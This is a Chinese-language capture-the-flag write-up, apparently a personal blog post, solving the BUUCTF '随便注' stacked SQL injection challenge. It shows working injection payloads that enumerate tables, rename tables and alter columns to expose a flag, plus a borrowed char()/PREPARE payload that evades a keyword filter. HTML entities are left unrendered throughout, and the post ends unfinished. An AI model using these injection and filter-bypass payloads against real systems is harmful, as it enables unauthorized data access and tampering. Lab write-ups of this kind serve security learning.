buuctf_sql注入_随便注1

题目&＃xff1a;随便注1

出处&＃xff1a;https://buuoj.cn/challenges

知识点&＃xff1a;
1.堆叠注入

题面&＃xff1a;

解题步骤&＃xff1a;
1.直接提交1&＃xff0c;返回了一个php数组形式的返回值&＃xff0c;说明有回显。

2.尝试使用 ‘、"、]、) 等闭合sql语句&＃xff0c;发现单引号引起报错&＃xff0c;

3.尝试万能密码‘ or 1&＃61;1#,根据回显内容&＃xff0c;发现flag不在当前所在的表中&＃xff0c;这说明需要利用注入语句切换当前所在的表。

4.首先查询所有的表名&＃xff0c;1’;desc tables;#; 发现当前库中存在两个表

5.分别查看两个表结构

1&＃39;;desc &＃96;1919810931114514&＃96;;#
1&＃39;;desc &＃96;words&＃96;;#


发现flag存在于表1919810931114514中

6.现在目标明确&＃xff0c;要查询表1919810931114514中的flag

1&＃39;;select * from &＃96;1919810931114514&＃96;;#


执行后发现存在过滤&＃xff0c;无法使用select。

7.到这一步为止可以有多种解法

&＃xff08;1&＃xff09;需要对查询语句进行猜解,猜测查询语句如下&＃xff1a;

select * from &＃96;words&＃96; where id &＃61; &＃39;$inject&＃39;;


或者

select id,data from &＃96;words&＃96; where id&＃61;&＃39;$inject&＃39;;


如此看来目前我们要查询1919810931114514表&＃xff0c;而目前可利用的select语句执行在words表&＃xff0c;且无法使用堆叠注入执行新的select语句&＃xff0c;这就陷入了死循环。

重新分析一下&＃xff0c;已有的select语句其实在本题中是可以多次执行的&＃xff0c;每次执行不影响表结构&＃xff0c;其功能是查询words表中的全部内容。所以我们如果能想办法利用一个堆叠注入将1919810931114514表中的内容转移到words中&＃xff0c;然后再使用一次万能密码&＃xff08;’or 1&＃61;1#&＃xff09;&＃xff0c;就可以得到flag。

复制语句大概长这样

insert into &＃96;words&＃96; select * from &＃96;1919810931114514&＃96;


不行insert肯定会被过滤掉&＃xff0c;换个思路&＃xff0c;其实我还可以把1919810931114514表名改了。

说搞就搞。

1&＃39;;rename table &＃96;words&＃96; to &＃96;meiyong&＃96;;rename table &＃96;1919810931114514&＃96; to &＃96;words&＃96;;#


搞砸了&＃xff0c;大概是没有加表名没有&＃96;&＃96;,再来一次&＃xff0c;返回结果提醒我&＃xff0c;1919810931114514中本身没有id列&＃xff0c;会翻车。

重置环境重来&＃xff0c;把flag列名改成id&＃xff0c;执行成功

1&＃39;;rename table &＃96;words&＃96; to &＃96;meiyong&＃96;;rename table &＃96;1919810931114514&＃96; to &＃96;words&＃96;;ALTER TABLE &＃96;words&＃96; CHANGE &＃96;flag&＃96; &＃96;id&＃96; VARCHAR(100) ;#


接着再执行万能密码

1‘or 1&＃61;1;


&＃xff08;2&＃xff09;利用char()方法&＃xff0c;还没做&＃xff0c;但是嫖来了payload&＃xff0c;感觉可以作为通法值得研究。payload如下&＃xff1a;

?inject&＃61;&＃39;;SET &＃64;sql&＃61;concat(char(115,101,108,101,99,116)," * from &＃96;1919810931114514&＃96;");PREPARE sqla from &＃64;sql;EXECUTE sqla;#


&＃xff08;3&＃xff09;利用预处理&＃xff0c;还没做&＃xff0c;什么都没做

总结&＃xff1a;由于短短说不写完就打死我&＃xff0c;所以本文暂时就烂尾了&＃xff0c;明天我把剩下的两种解法补全。